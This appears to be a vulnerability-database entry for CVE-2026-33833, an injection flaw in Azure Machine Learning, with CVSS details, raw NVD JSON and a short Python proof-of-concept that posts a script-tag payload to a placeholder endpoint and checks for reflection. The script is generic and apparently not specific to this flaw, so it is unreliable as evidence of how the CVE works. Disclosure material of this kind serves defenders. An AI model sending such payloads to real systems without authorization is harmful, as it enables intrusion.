Security Vulnerability Report
中文
CVE-2026-33833 CVSS 8.2 HIGH

CVE-2026-33833

Published: 2026-05-12 18:17:05
Last Modified: 2026-05-13 15:34:53

Description

Improper neutralization of special elements in output used by a downstream component ('injection') in Azure Machine Learning allows an unauthorized attacker to perform spoofing over a network.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Azure Machine Learning (具体受影响版本请参考Microsoft官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Proof of Concept for CVE-2026-33833 # This script demonstrates sending a potential injection payload to the target endpoint. # Note: For educational and authorized testing purposes only. target_url = "https://<target-azure-ml-endpoint>/api/v1.0/predictions" # Payload designed to test improper neutralization in downstream output # Example: Attempting to inject a script or control character payload = { "data": "<script>alert('CVE-2026-33833_PoC')</script>" } headers = { "Content-Type": "application/json", "Authorization": "Bearer <token_if_required>" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") # Check if the payload is reflected un-sanitized in the response if "CVE-2026-33833_PoC" in response.text: print("[+] Potential vulnerability detected: Payload reflected in output.") else: print("[-] Payload not reflected or mitigated.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33833", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:05.160", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of special elements in output used by a downstream component ('injection') in Azure Machine Learning allows an unauthorized attacker to perform spoofing over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33833", "source": "[email protected]"}]}}